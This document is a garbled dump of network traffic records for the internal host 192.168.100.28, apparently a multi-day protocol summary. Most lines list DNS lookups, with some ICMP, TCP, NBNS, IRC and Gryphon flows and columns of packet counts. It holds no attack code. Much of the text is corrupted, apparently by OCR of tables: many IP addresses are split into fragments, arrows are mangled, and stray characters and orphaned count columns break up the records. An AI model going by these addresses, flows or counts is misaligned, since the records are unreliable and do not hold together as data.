192.168.100.28 -> 195.129.12.74 DNS
192.168.100.28 -> 63.209.5.253 DNS
151.99.250.2 -> 192.168.100.28 DNS
192.33.4.12 -> 192.168.100.28 DNS
211.216.50.160 -> 192.168.100.28 DNS
148.244.249.75 -> 192.168.100.28 DNS
209.10.66.55 -> 192.168.100.28 DNS
216.239.36.10 -> 192.168.100.28 DNS
194.246.96.49 -> 192.168.100.28 DNS
148.244.240.195 -> 192.168.100.28 DNS
192.168.100.28 -> 204.74.101.1 DNS
192.168.100.28 -> 198.6.1.181 DNS
209.209.37.6 -> 192.168.100.28 DNS
216.73.84.10 -> 192.168.100.28 ICMP
130.206.1.2 -> 192.168.100.28 DNS
64.37.246.2 -> 192.168.100.28 ICMP
216.73.83.10 -> 192.168.100.28 ICMP
200.10.202.3 -> 192.168.100.28 DNS
198.6.1.181 -> 192.168.100.28 DNS
192.168.100.28 -> 194.85.119.1 DNS
208.225.197.194 -> 192.168.100.28 ICMP
192.168.100.28 -> 64.28.86.226 ICMP
192.168.100.71 -> 192.168.100.28 DNS
192.168.100.28 -> 216.239.32.10 DNS
192.168.100.28 -> 195.145.119.189 DNS
193.205.245.66 -> 192.168.100.28 DNS
192.168.100.28 -> 213.61.5.28 DNS
216.32.65.105 -> 192.168.100.28 DNS
64.226.28.33 -> 192.168.100.28 DNS
192.168.100.28 -> 200.4.48.13 DNS
192.168.100.28 -> 204.253.104.11 DNS
207.227.117.2 -> 192.168.100.28 DNS
192.168.100.28 -> 193.205.245.66 DNS
192.168.100.28 -> 216.218.131.2 DNS
12.129.11.44 -> 192.168.100.28 DNS
192.168.100.28 -> 10.12.9.141 ICMP
63.209.29.138 -> 192.168.100.28 DNS
192.168.100.28 -> 212.172.60.17 DNS
192.168.100.28 -> 63.98.240.201 DNS
128.32.206.9 -> 192.168.100.28 DNS
209.126.152.242 -> 192.168.100.28 DNS
192.168.100.28 -> 212.109.58.202 DNS
65.206.228.71 -> 192.168.100.28 DNS
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194.
192.

237.107.6 -> 192.168.100.28 DNS
168.100.28 -> 128.32.206.9 DNS

64.26.0.23 -> 192.168.100.28 DNS

192.
192.
200.
192.
192.
192.
192.
192.
213.
192.
192.
192.
192.
192.
192.
192.
209
192.
192.
209.
151.
192.
208.
206.

168.100.28 -> 212.53.64.30 DNS
168.100.28 -> 203.136.232.67 DNS
52.132.83 -> 192.168.100.28 DNS
168.100.28 -> 213.133.104.2 DNS
168.100.28 -> 209.133.1.96 DNS
168.100.28 -> 65.163.234.133 DNS
168.100.28 -> 193.79.163.118 ICMP
168.100.28 -> 151.99.125.3 DNS
152.145.16 -> 192.168.100.28 DNS
168.100.28 -> 139.130.4.5 DNS
168.100.28 -> 64.39.29.212 DNS
168.100.28 -> 63.71.94.5 DNS
168.100.28 -> 207.235.16.2 DNS
168.100.28 -> 200.52.66.125 DNS
168.100.28 -> 192.134.0.49 DNS
168.100.28 -> 12.129.11.44 DNS

.249.55.102 -> 192.168.100.28 DNS

168.100.28 -> 198.6.1.114 DNS
168.100.28 -> 194.109.218.36 DNS
68.217.194 -> 192.168.100.28 ICMP
99.125.3 -> 192.168.100.28 DNS
168.100.28 -> 216.113.128.58 DNS
172.80.140 -> 192.168.100.28 DNS
65.183.21 -> 192.168.100.28 DNS

16.1.0.18 -> 192.168.100.28 DNS

192.
192.
192.

168.100.28 -> 202.144.78.2 ICMP
168.100.28 -> 207.248.240.41 DNS
168.100.28 -> 200.171.38.61 ICMP

63.211.121.147 -> 192.168.100.28 DNS

192.
192.
192.
192.
192.
192.
192.
192.
210.
192.
192.
202.
192.
212.
216.
192.
192.
216.
192.
152.
209.
213.
211.
192.
192.

168.100.28 -> 193.108.91.3 DNS
109.42.5 -> 192.168.100.28 DNS
168.100.28 -> 61.221.179.26 TCP
168.100.28 -> 66.111.73.173 DNS
168.100.28 -> 168.95.192.10 DNS
168.100.28 -> 65.206.228.71 DNS
168.100.28 -> 209.225.41.200 DNS
168.100.28 -> 216.136.225.202 DNS
155.137.2 -> 192.168.100.28 DNS
168.100.28 -> 213.152.145.16 DNS
168.100.28 -> 207.182.224.10 DNS
12.29.59 -> 192.168.100.28 DNS
168.100.28 -> 210.8.213.35 DNS
77.231.12 -> 192.168.100.28 DNS
218.131.2 -> 192.168.100.28 DNS
168.100.28 -> 218.17.158.135 ICMP
168.100.28 -> 212.49.128.65 DNS
52.244.144 -> 192.168.100.28 DNS
168.100.28 -> 195.20.224.95 DNS
163.209.129 -> 192.168.100.28 DNS
133.1.96 -> 192.168.100.28 DNS
244.173.25 -> 192.168.100.28 DNS
13.227.66 -> 192.168.100.28 ICMP
168.100.28 -> 216.32.65.105 DNS
168.100.28 -> 158.43.193.80 DNS
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212.

49.128.65 -> 192.168.100.28 DNS

207.248.240.41 -> 192.168.100.28 DNS
216.239.34.10 -> 192.168.100.28 DNS
192.168.100.28 -> 216.34.88.151 DNS
192.168.100.28 -> 204.59.144.222 DNS
210.117.65.2 -> 192.168.100.28 DNS
192.168.100.28 -> 64.152.2.36 DNS
63.71.94.5 -> 192.168.100.28 DNS
192.168.100.28 -> 204.74.112.1 DNS
192.168.100.28 -> 137.189.6.21 DNS
192.168.100.28 -> 165.76.0.98 DNS
192.168.100.28 -> 211.75.30.52 TCP
64.39.29.212 -> 192.168.100.28 DNS
192.168.100.28 -> 193.171.255.34 DNS
212.38.191.82 -> 192.168.100.28 DNS
209.216.124.211 -> 192.168.100.28 DNS
216.221.162.111 -> 192.168.100.28 DNS
216.156.2.3 -> 192.168.100.28 DNS
192.168.100.28 -> 217.5.100.186 DNS

62.4.74.66 -> 192.168.100.28 ICMP
193.0.14.129 -> 192.168.100.28 DNS

195
192.
192.
192.
192.
168.
193.
216.
192.
194.
192.
192.
192.
213.
192.

168.
168.
168.
168.

.20.225.36 -> 192.168.100.28 DNS

100.28 -> 207.227.117.2 DNS
100.28 -> 209.68.217.194 ICMP
100.28 -> 212.121.130.5 DNS
100.28 -> 132.235.64.1 DNS

95.192.1 -> 192.168.100.28 DNS

171.
113.
9.9.

255.34 -> 192.168.100.28 DNS
128.58 -> 192.168.100.28 DNS
3 ->192.168.100.28 DNS

69.254.2 -> 192.168.100.28 DNS

168.
168.
168.

100.28 -> 12.127.16.70 DNS
100.28 -> 63.150.183.46 DNS
100.28 -> 212.74.64.34 DNS

61.5.28 -> 192.168.100.28 DNS

168.

100.28 -> 200.73.183.198 DNS

66.28.34.130 -> 192.168.100.28 ICMP

192.
198.
192.
202.
4.2.
200.
192.
140.
192.
207
192.
193.
213.
198.
192.
154.

168.
6.1.
168.

100.28 -> 203.69.233.93 TCP
65 -> 192.168.100.28 DNS
100.28 -> 217.29.76.4 DNS

32.86.139 -> 192.168.100.28 DNS
49.3 -> 192.168.100.28 DNS

160.
168.
111
168.

.235.

168.
158.

0.5 -> 192.168.100.28 DNS
100.28 -> 202.186.13.228 DNS

1.2 -> 192.168.100.28 DNS

100.28 -> 199.202.200.2 DNS
16.2 -> 192.168.100.28 DNS
100.28 -> 206.20.254.33 DNS
124.130 -> 192.168.100.28 DNS

86.246.21 -> 192.168.100.28 DNS

6.1.
168.

114 -> 192.168.100.28 DNS
100.28 -> 192.5.6.32 DNS

32.105.90 -> 192.168.100.28 DNS
63.209.170.136 -> 192.168.100.28 DNS
200.52.66.125 -> 192.168.100.28 DNS
194.25.2.130 -> 192.168.100.28 DNS
200.33.246.3 -> 192.168.100.28 DNS
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192.168.100.28 -> 63.209.29.138 DNS
200.171.38.61 -> 192.168.100.28 NBNS
61.221.179.26 -> 192.168.100.28 TCP
33.146.193 -> 192.168.100.28 DNS
168.100.28 -> 193.158.124.130 DNS
225.41.200 -> 192.168.100.28 DNS
109.218.36 —-> 192.168.100.28 DNS
108.91.93 -> 192.168.100.28 DNS
25.0.125 -> 192.168.100.28 DNS
17.158.135 -> 192.168.100.28 NBNS

200.
192.
209.
194.
193.
194.
218.
192.
192.
212.
192.
207
192.
192.

168.
168.
172.
168.

.228.

168.
168.

100.
100.

28 -> 4.2.49.3 DNS
28 -> 192.9.9.3 DNS

60.17 -> 192.168.100.28 DNS

100

100
100

.28 -> 204.248.36.131 DNS
252.
.28 -> 81.19.67.2 DNS

.28 -> 193.125.152.3 DNS

101 -> 192.168.100.28 DNS

63.71.94.4 -> 192.168.100.28 DNS
63.219.179.130 -> 192.168.100.28 ICMP

192.
192.
192.
200.
192.
192.
192.
192.
209
192.
192.
192.
192.
148
192.
193.
163.
192.
203.
194.
199.
207.
192.
216.
213.

.245

168.
168.
168.

100
100
100

4.48.13

168.
168.
168.
168.

.247.

168.
168.
168.
168.

168.
159.
138.
168.

100
100
100
100
108
100
100
100
100

100

.28 -> 194.25.2.133 DNS
.28 -> 216.39.68.40 DNS
.28 -> 160.45.10.13 DNS

-> 192.168.100.28 DNS

.28 -> 146.20.43.251 DNS
.28 -> 129.70.4.55 DNS

.28 -> 140.111.1.2 DNS

.28 -> 200.33.246.3 DNS
.228 -> 192.168.100.28 DNS
.28 -> 193.108.91.159 DNS
.28 -> 209.249.55.102 DNS
.28 -> 64.124.186.252 DNS
.28 -> 63.208.48.42 DNS
.244.

157 -> 192.168.100.28 DNS

.28 -> 63.209.170.136 DNS
170.

187 -> 192.168.100.28 DNS

96.11 -> 192.168.100.28 DNS

100.

28 -> 134.75.30.1 DNS

50.0.137 -> 192.168.100.28 DNS
67.57.4

202.
171.
168.

200

100

52.1.33

133.

104.

-> 192.168.100.28 DNS

.2 => 192.168.100.28 DNS
171.
.28 -> 209.126.152.242 DNS

132 -> 192.168.100.28 DNS

-> 192.168.100.28 DNS
11 -> 192.168.100.28 DNS

12.127.16.70 -> 192.168.100.28 DNS
168.100.28 -> 198.6.1.182 DNS

168.100.28 -> 213.86.246.21 DNS
20.254.33 -> 192.168.100.28 DNS

192.
192.
206.
192.
192.
192.
213.
216.
192.
192.
132
192.

168.
168.
168.
133.
148.
168.
168.

.235.

168.

100
100
100
104
227
100
100

.28 -> 193.110.128.201 DNS
.28 -> 64.226.28.33 DNS
.28 -> 198.186.202.136 DNS
.2 => 192.168.100.28 DNS
.68 -> 192.168.100.28 DNS
.28 -> ©63.71.94.4 DNS

.28 -> 194.25.2.130 DNS

64.1 -> 192.168.100.28 DNS

100.

28 -> 203.37.255.97 DNS

B e e B e

= B e e
=

=
=

e N =
=

—
= =

= = = S N N S Sy B

I N = N S S



192.
195.
192.
192.
212.
192.
149.
192.
192.
216.
192.
192.

168.100.28 -> 202.160.241.130 ICMP
13.2.13 -> 192.168.100.28 DNS
168.100.28 -> 64.26.0.23 DNS
168.100.28 -> 62.13.128.20 DNS
53.64.30 -> 192.168.100.28 DNS
168.100.28 -> 163.138.96.11 DNS
174.211.8 -> 192.168.100.28 DNS
168.100.28 -> 152.163.209.129 DNS
168.100.28 -> 194.98.19.1 DNS
39.68.40 -> 192.168.100.28 DNS
168.100.28 -> 213.133.104.11 DNS
168.100.28 -> 208.172.80.140 DNS

65.163.234.133 -> 192.168.100.28 DNS

192.

168.100.28 -> 128.242.107.5 DNS

64.58.79.83 -> 192.168.100.28 DNS

202.
192.
204.
192.
192.
192.
192.
207.
192.
195.
192.
192.
128
209.
202.
210.
203.
192.
195.
192.
192.
192.
192.

144.78.2 -> 192.168.100.28 ICMP
168.100.28 -> 216.35.213.247 DNS
59.144.222 -> 192.168.100.28 DNS
168.100.28 -> 216.221.162.111 DNS
168.100.28 -> 207.228.252.101 DNS
134.0.49 -> 192.168.100.28 DNS
168.100.28 -> 64.58.79.83 DNS
44.96.129 -> 192.168.100.28 DNS
168.100.28 -> 168.144.68.8 DNS
66.240.130 -> 192.168.100.28 DNS
168.100.28 -> 207.171.171.132 DNS
168.100.28 -> 216.169.161.225 DNS

.242.107.5 -> 192.168.100.28 DNS

41.31.14 -> 192.168.100.28 DNS
160.241.130 -> 192.168.100.28 ICMP
81.97.184 -> 192.168.100.28 DNS
136.232.67 -> 192.168.100.28 DNS
168.100.28 -> 63.219.179.130 ICMP
167.217.34 -> 192.168.100.28 DNS
168.100.28 -> 200.160.0.5 DNS
168.100.28 -> 202.12.27.33 DNS
168.100.28 -> 16.1.0.18 DNS
168.100.28 -> 63.211.121.147 DNS

63.215.198.86 -> 192.168.100.28 DNS

192.
192.
192.
192.
192.
169.
192.
192.
192.
208.
192.

168.100.28 -> 192.76.144.16 DNS
76.144.16 -> 192.168.100.28 DNS
5.6.32 -> 192.168.100.28 DNS
168.100.28 -> 194.168.4.237 DNS
168.100.28 -> 212.38.191.82 DNS
158.128.136 -> 192.168.100.28 DNS
168.100.28 -> 193.159.170.187 DNS
168.100.28 -> 206.65.183.21 DNS
168.100.28 -> 62.4.74.66 ICMP
138.153.11 -> 192.168.100.28 DNS
168.100.28 -> 212.77.231.12 DNS

64.152.2.36 -> 192.168.100.28 DNS

192.
192.
192.
202.
192.
192.

168.100.28 -> 192.188.72.21 DNS
168.100.28 -> 192.35.51.32 DNS
168.100.28 -> 148.245.244.157 DNS
12.27.33 -> 192.168.100.28 DNS
168.100.28 -> 208.184.139.82 ICMP
168.100.28 -> 216.148.227.68 DNS
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192.35.51.34 -> 192.168.100.28 DNS
195.5.64.2 -> 192.168.100.28 DNS
192.168.100.28 -> 216.239.34.10 DNS
64.124.186.252 -> 192.168.100.28 DNS
66.28.103.87 -> 192.168.100.28 TCP
192.168.100.28 -> 149.174.211.8 DNS
192.168.100.28 -> 195.167.217.34 DNS
203.37.255.97 -> 192.168.100.28 DNS
63.210.142.65 -> 192.168.100.28 DNS
130.59.211.10 -> 192.168.100.28 DNS
200.73.183.198 -> 192.168.100.28 DNS
192.168.100.28 -> 128.86.1.20 DNS
81.19.67.2 -> 192.168.100.28 DNS
139.130.4.5 -> 192.168.100.28 DNS
192.168.100.28 -> 130.59.211.10 DNS
160.45.10.13 -> 192.168.100.28 DNS
168.95.192.10 -> 192.168.100.28 DNS
210.8.213.35 -> 192.168.100.28 DNS
192.168.100.28 -> 195.66.240.130 DNS
192.168.100.197 -> 192.168.100.28 DNS
202.186.13.228 -> 192.168.100.28 DNS
192.168.100.28 -> 211.13.227.66 ICMP
192.168.100.28 -> 194.237.107.6 DNS
168.144.1.177 -> 192.168.100.28 DNS
192.168.100.28 -> 194.69.254.2 DNS
192.168.100.28 -> 202.32.86.139 DNS
192.168.100.28 -> 65.214.50.130 ICMP
193.108.91.159 -> 192.168.100.28 DNS
212.111.32.38 -> 192.168.100.28 DNS
206.65.183.70 -> 192.168.100.28 DNS
212.3.247.25 -> 192.168.100.28 DNS
192.168.100.28 -> 200.52.132.83 DNS
192.168.100.28 -> 209.247.108.228 DNS
192.168.100.28 -> 203.178.136.63 DNS
192.168.100.28 -> 212.3.247.25 DNS
192.168.100.28 -> 202.12.29.59 DNS
202.30.50.50 -> 192.168.100.28 DNS
192.168.100.28 -> 210.155.137.2 DNS
192.168.100.28 -> 64.73.138.71 DNS
192.168.100.28 -> 193.108.91.93 DNS
216.249.24.15 -> 192.168.100.28 DNS
192.112.36.4 -> 192.168.100.28 DNS
209.66.103.20 -> 192.168.100.28 DNS
204.253.104.11 -> 192.168.100.28 DNS
192.168.100.28 -> 194.67.57.4 DNS
192.168.100.28 -> 206.65.183.70 DNS
203.69.233.93 -> 192.168.100.28 TCP
194.168.4.237 -> 192.168.100.28 DNS
212.121.130.5 -> 192.168.100.28 DNS
192.168.100.28 -> 207.44.96.129 DNS
212.109.58.202 -> 192.168.100.28 DNS
218.14.182.224 -> 192.168.100.28 NBNS
198.186.202.136 -> 192.168.100.28 DNS
217.5.100.186 -> 192.168.100.28 DNS
193.214.57.194 -> 192.168.100.28 ICMP
192.168.100.28 -> 66.28.103.87 TCP
193.108.91.3 -> 192.168.100.28 DNS
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192.168.100.28 -> 205.138.3.243 DNS
192.168.100.28 -> 204.127.198.33 DNS
212.74.64.34 -> 192.168.100.28 DNS
193.232.212.12 -> 192.168.100.28 DNS
129.70.4.55 -> 192.168.100.28 DNS
192.168.100.28 -> 192.35.51.34 DNS
216.52.1.1 -> 192.168.100.28 DNS
192.168.100.28 -> 216.52.244.144 DNS
192.168.100.28 -> 66.35.250.12 DNS
192.168.100.28 -> 216.147.1.120 DNS
165.76.0.98 -> 192.168.100.28 DNS
192.168.100.28 -> 203.120.14.5 DNS
203.178.136.63 —-> 192.168.100.28 DNS
192.168.100.28 -> 203.133.1.8 DNS
63.98.240.201 -> 192.168.100.28 DNS
216.34.88.151 -> 192.168.100.28 DNS
192.168.100.28 -> 154.32.105.90 DNS
212.80.175.2 -> 192.168.100.28 DNS
198.6.1.182 -> 192.168.100.28 DNS
216.220.40.243 -> 192.168.100.28 DNS
206.132.160.36 -> 192.168.100.28 DNS
63.150.183.46 -> 192.168.100.28 DNS
168.144.68.8 —-> 192.168.100.28 DNS
204.248.36.131 -> 192.168.100.28 DNS
66.111.73.173 -> 192.168.100.28 DNS
192.168.100.28 -> 195.13.2.13 DNS
192.168.100.28 -> 212.111.32.38 DNS
192.168.100.28 -> 212.66.160.8 DNS
204.174.223.1 -> 192.168.100.28 DNS
192.168.100.28 -> 208.138.153.11 DNS
192.168.100.28 -> 209.41.31.14 DNS
192.168.100.28 -> 216.156.2.3 DNS
195.145.119.189 -> 192.168.100.28 DNS
216.35.213.247 -> 192.168.100.28 DNS
194.67.35.252 -> 192.168.100.28 DNS
62.13.128.20 -> 192.168.100.28 DNS
192.168.100.28 -> 213.199.1.132 DNS
192.168.100.28 -> 198.6.1.65 DNS
212.66.160.8 -> 192.168.100.28 DNS
65.214.50.130 -> 192.168.100.28 ICMP
64.73.138.71 -> 192.168.100.28 DNS
192.168.100.28 -> 209.216.124.211 DNS
192.168.100.28 -> 216.249.24.15 DNS
63.209.5.254 -> 192.168.100.28 DNS
192.168.100.28 -> 212.227.58.206 DNS
63.208.48.42 -> 192.168.100.28 DNS
192.168.100.28 -> 195.5.64.2 DNS
192.168.100.28 -> 216.220.40.243 DNS
192.168.100.28 -> 200.33.146.193 DNS
207.182.224.10 -> 192.168.100.28 DNS
192.168.100.28 -> 210.117.65.2 DNS
66.35.250.12 -> 192.168.100.28 DNS
192.168.100.28 -> 192.168.100.197 DNS
192.168.100.28 -> 63.210.142.65 DNS
212.227.58.206 -> 192.168.100.28 DNS
192.168.100.28 -> 63.209.5.254 DNS
137.189.6.21 -> 192.168.100.28 DNS
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192

216.
216.
203.
192.
193.
128.
158.
192.
192.
192.

194
213

.168.100.28 -> 193.232.212.12 DNS
136.225.199 -> 192.168.100.28 DNS
136.225.202 -> 192.168.100.28 DNS
120.14.5 -> 192.168.100.28 DNS
168.100.28 -> 218.14.182.224 ICMP
79.163.118 -> 192.168.100.28 NBNS
86.1.20 -> 192.168.100.28 DNS
43.193.80 -> 192.168.100.28 DNS
188.72.21 -> 192.168.100.28 DNS
168.100.28 -> 216.136.225.199 DNS
168.100.28 -> 63.215.198.86 DNS
.25.2.133 -> 192.168.100.28 DNS
.199.1.132 -> 192.168.100.28 DNS

10.12.9.141 -> 192.168.100.28 NBNS

192.168.100.28 -> 203.50.0.137 DNS
192.168.100.28 -> 216.52.1.1 DNS
192.168.100.28 -> 209.66.103.20 DNS
192.168.100.28 -> 216.52.1.33 DNS
211.75.30.52 -> 192.168.100.28 TCP
192.168.100.28 -> 168.95.192.1 DNS
193.110.128.201 -> 192.168.100.28 DNS
192.168.100.28 -> 168.144.1.177 DNS
192.168.100.28 -> 210.81.97.184 DNS
192.168.100.28 -> 66.28.34.130 ICMP
192.168.100.28 -> 213.244.173.25 DNS
203.133.1.8 => 192.168.100.28 DNS
192.168.100.28 -> 204.174.223.1 DNS
194.98.19.1 -> 192.168.100.28 DNS
195.20.224.95 -> 192.168.100.28 DNS
217.29.76.4 -> 192.168.100.28 DNS
205.138.3.243 -> 192.168.100.28 DNS
192.168.100.28 -=> 192.109.42.5 DNS
192.168.100.28 -> 194.67.35.252 DNS
192.35.51.32 -> 192.168.100.28 DNS
192.168.100.28 -> 206.132.160.36 DNS
146.20.43.251 -> 192.168.100.28 DNS
216.169.161.225 -> 192.168.100.28 DNS
193.125.152.3 => 192.168.100.28 DNS
192.168.100.28 -> 212.80.175.2 DNS
192.168.100.28 -> 195.20.225.36 DNS
192.168.100.28 => 193.214.57.194 ICMP
204.74.112.1 -> 192.168.100.28 DNS
208.184.139.82 -> 192.168.100.28 ICMP
192.168.100.28 -> 193.0.14.129 DNS
204.127.198.33 -> 192.168.100.28 DNS
216.147.1.120 -> 192.168.100.28 DNS
Total:

Day 3: Protocol Statistics

192.
192.
195.
192.

206

192.

168.100.28 -> 195.130.233.20 TCP
168.100.28 -> 205.177.13.231 TCP
130.233.20 -> 192.168.100.28 TCP
168.100.28 -> 192.114.144.52 TCP
.252.192.195 -> 192.168.100.28 TCP
168.100.28 -> 206.252.192.195 TCP
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192.168.100.28 -> 195.130.233.20 IP
192.168.100.28 -> 195.130.233.20 UDP
192.168.100.28 -> 195.130.233.20 ICMP
62.211.66.55 -> 192.168.100.28 HTTP
195.130.233.20 -> 192.168.100.28 ICMP
62.101.108.86 -> 192.168.100.28 TCP
192.168.100.28 -> 61.134.3.11 ICMP
192.168.100.28 -> 62.211.66.55 TCP
192.168.100.28 -> 62.101.108.86 TCP

2001:6b8:0:400::5d0e -=> 2001:750:2:0:202:a5ff:fef0:
2001:750:2:0:202:a5ff:fef0:aac7 -> 2001:6b8:0

12.122.12.62 -> 192.168.100.28 ICMP

2319
2245
2219
1617
1397
1042
1036
1021
913

881

2001:750:2:0:202:a5ff:fefl0:aac7 -> 2001:6b8:0:

192.168.100.28 -> 217.116.38.10 ICMP
61.134.3.11 -> 192.168.100.28 ICMP
80.117.14.222 -> 192.168.100.28 TCP

760
757
735

:400::

400:

aac’/
5d0e

:5d0e

2001:6b8:0:400::5d0e -> 2001:750:2:0:202:a5ff:fef0:aac’

205.177.13.231 -> 192.168.100.28 TCP
192.168.100.28 -> 80.117.14.222 Gryphon
192.168.100.28 -> 80.117.14.222 TCP
192.114.144.52 -> 192.168.100.28 TCP
80.117.14.222 -> 192.168.100.28 Gryphon
12.123.17.57 -=> 192.168.100.28 ICMP
12.122.2.226 -> 192.168.100.28 ICMP
148.244.153.91 -> 192.168.100.28 DNS
192.168.100.28 -> 148.244.153.91 DNS
192.168.100.28 -> 192.168.100.158 Syslog
192.168.100.28 -> 140.135.18.25 DNS
140.135.18.25 -> 192.168.100.28 DNS
12.122.2.225 -> 192.168.100.28 ICMP
192.58.128.30 -> 192.168.100.28 DNS
192.168.100.28 -> 192.5.6.30 DNS
192.168.100.28 -> 200.33.146.213 DNS
192.41.162.30 -> 192.168.100.28 DNS
200.33.146.213 -> 192.168.100.28 DNS
193.0.0.193 -> 192.168.100.28 DNS
192.5.6.30 -> 192.168.100.28 DNS
12.122.12.13 -> 192.168.100.28 ICMP
192.26.92.30 -> 192.168.100.28 DNS
192.168.100.28 -> 192.26.92.30 DNS
192.168.100.28 -> 192.41.162.30 DNS
192.168.100.28 -> 200.33.213.66 DNS
200.33.213.66 -> 192.168.100.28 DNS
192.168.100.28 -> 192.58.128.30 DNS
192.31.80.30 -> 192.168.100.28 DNS
200.33.148.193 -> 192.168.100.28 DNS
128.63.2.53 -> 192.168.100.28 DNS
192.168.100.28 -> 128.63.2.53 DNS
192.42.93.30 -> 192.168.100.28 DNS
192.168.100.28 -> 193.0.0.193 DNS
12.122.10.73 -> 192.168.100.28 ICMP
12.122.12.45 -> 192.168.100.28 ICMP
192.168.100.28 -> 192.42.93.30 DNS
192.168.100.28 -> 192.31.80.30 DNS
206.98.114.20 -> 192.168.100.28 DNS
192.168.100.28 -> 200.33.148.193 DNS
192.168.100.28 -> 206.98.114.20 DNS

519
4
471
280
2
156
111
95
85

28
24
24
19
18
18
18
18
18
18
17
17
17
17
16
16
16
15
15
15
15
14
14
14
14
14
14
13
13
13

76

03

63

IRC
TCP

IRC

TCP

912
896

853

673



192.
210.
192.
210.
192.
192.
192.
192.
211
205.
192.
192.
206.
192.
192.
192.
192.
205.

192.
192.
192.
213
192.
192.
192.

64.0.96.
168.
168.
133.
.248

192.
192.
198.
132
202.
192.
213
192.
192.
168.
200.
211.
192.
192.
192.
200
192.
192.
192.
192.
206

168.100.28 -> 210.180.98.69 DNS
94.0.7 -> 192.168.100.28 DNS
168.100.28 -> 192.43.172.30 DNS
180.98.69 -> 192.168.100.28 DNS
168.100.28 -> 206.98.114.10 DNS
168.100.28 -> 210.94.0.7 DNS
43.172.30 -> 192.168.100.28 DNS
-> 192.168.100.28 DNS
-> 192.168.100.28 DNS
192.168.100.28 DNS

-> 192.48.79.30 DNS
-> 192.168.100.72 DNS
98.114.10 -> 192.168.100.28 DNS
48.79.30 -> 192.168.100.28 DNS
168.100.28 -> 211.216.50.150 DNS
168.100.28 -> 192.100.59.110 DNS
168.100.28 -> 205.152.0.5 DNS
152.0.20 -> 192.168.100.28 DNS
12.122.10.77 -> 192.168.100.28 ICMP

100.
.216.
152.
168.
168.

168.
168.
168.
.234.
168.
168.

59.110
50.150

0.5 -—>

100.
100.

100
100.
100
132.
100
100

28
28

.28 -> 205.152.0.20 DNS

72 -> 192.168.100.28 DNS

.28 -> 213.234.132.130 DNS
130 -> 192.168.100.28 DNS
.28 -> 198.133.199.110 DNS
.28 -> 64.0.96.12 ICMP

35.51.30 -> 192.168.100.28 DNS
12 -> 192.168.100.28 ICMP
100.28 -> 200.23.242.193 DNS
100.28 -> 192.35.51.30 DNS

199.110 -> 192.168.100.28 DNS
.253.1 -> 192.168.100.28 DNS

12.28.131 -> 192.168.100.28 DNS
42.93.32 -> 192.168.100.28 DNS

.234.128.211 -> 192.168.100.28 DNS
168.100.28 -> 213.234.128.211 DNS

168.100.28 -> 168.95.192.14 DNS
95.192.14 -> 192.168.100.28 DNS
33.146.217 -> 192.168.100.28 DNS
47.45.22 -> 192.168.100.28 DNS

168.100.28 -> 211.47.45.22 DNS

41.162.32 -> 192.168.100.28 DNS
168.100.28

100.
100.
100.
100.

.23.242.193
168.
168.
168.
168.
.252.

28
28
28
28

202.
192.
192.
200.
.252.192.6 DNS
192.

206

12.28.131 DNS
168.100.28 DNS
42.93.32 DNS

33.146.217 DNS

41.162.32 DNS

192.6 -> 192.168.100.28 DNS
64.15.251.198 -> 192.168.100.28 ICMP
192.33.14.30 -> 192.168.100.28 DNS
192.168.100.28 -> 213.61.6.2 ICMP
192.168.100.28 -> 192.33.14.30 DNS
192.168.100.28 -> 64.14.117.10 ICMP
62.101.108.86 -> 192.168.100.28 ICMP
192.168.100.28 -> 64.15.251.198 ICMP
63.218.7.130 -> 192.168.100.28 ICMP
192.168.100.28 -> 168.95.1.14 DNS

12
12
12
12
12
12
12
11
11
11
11
11
11
11
11
11
11
10
10
10
10
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192.
192.
204.
192.
212.
192.
213.
192.
192.
208.
168.

192.
192.
192.
192.
203
192.
192.
206.
192.
192.

192.
192.
216.
192.
200.
198.
192.
151.
164.
192.
192.
192.
192.
192.
192.
192.
192.
192.
166.
140.
192.

192.
192.
192.
192.
192.
192.
200.
192.
192.

168.100.28 -> 208.185.54.14 ICMP
168.100.28 -> 63.218.7.130 ICMP
176.88.5 -> 192.168.100.28 ICMP
54.112.30 -> 192.168.100.28 DNS
62.17.145 -> 192.168.100.28 ICMP
168.100.28 -> 204.176.88.5 ICMP
61.6.2 -> 192.168.100.28 ICMP
168.100.28 -> 212.62.17.145 ICMP
168.100.28 -> 192.54.112.30 DNS
185.54.14 -> 192.168.100.28 ICMP
95.1.14 -> 192.168.100.28 DNS
64.14.117.10 -> 192.168.100.28 ICMP
168.100.28 -> 132.248.253.1 DNS
168.100.28 -> 206.252.192.5 DNS
168.100.28 -> 192.52.178.30 DNS
168.100.28 -> 192.12.94.32 DNS

.255.234.103 -> 192.168.100.28 DNS

168.100.28 -> 216.73.82.10 ICMP
12.94.32 -> 192.168.100.28 DNS
252.192.5 -> 192.168.100.28 DNS
52.178.30 -> 192.168.100.28 DNS
168.100.28 -> 163.162.170.173 ICMP
12.122.9.157 -> 192.168.100.28 ICMP
192.168.100.28 -> 66.28.255.130 ICMP
66.28.255.130 -> 192.168.100.28 ICMP
114.144.52 -> 192.168.100.28 ICMP
168.100.28 -> 203.255.234.103 DNS
73.82.10 -> 192.168.100.28 ICMP

168.100.28

23.1.1 -> 192.
41.0.4 -> 192.

168.100.28
99.125.138
124.101.31
168.100.28
115.106.10
168.100.28
168.100.28
115.106.11
168.100.28
168.100.28
168.100.28
168.100.28

->

->

198.
168.
168.
166.
192.
192.
151.
192.
192.
192.
192.
.23.1.1 DNS
164.
140.
192.

200

41.0.4 DNS
100.28 DNS
100.28 DNS
130.113.157 TCP
168.100.28 DNS
168.100.28 DNS
99.125.138 DNS
168.100.28 DNS
115.106.10 DNS
115.106.11 DNS
168.100.28 DNS

124.101.31 DNS
135.18.15 DNS
168.100.71 DNS

130.113.157 -=> 192.168.100.28 TCP
111.1.2 -> 192.168.100.28 DNS
168.100.71 -> 192.168.100.28 DNS
64.14.76.206 -> 192.168.100.28 DNS

168.100.28
168.100.28
168.100.28
168.100.28
168.100.28
168.100.28
23.242.201
168.100.28

->

->

131.
192.
195.
204.
151.
151.
192.
128.

154.1.3 DNS
12.94.30 DNS
130.233.20 RX
70.57.242 DNS
99.125.2 DNS
164.1.1 DNS
168.100.28 DNS
9.0.107 DNS

12.94.30 -> 192.168.100.28 DNS
66.135.207.138 -> 192.168.100.28 DNS
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192.168.100.28 -> 66.135.207.138 DNS
192.168.100.28 -> 200.23.242.201 DNS
128.8.10.90 -> 192.168.100.28 DNS
62.211.66.55 -> 192.168.100.28 TCP
131.154.1.3 -> 192.168.100.28 DNS
151.164.1.7 -> 192.168.100.28 DNS
12.122.9.158 -> 192.168.100.28 ICMP
192.168.100.28 -> 192.55.83.30 DNS
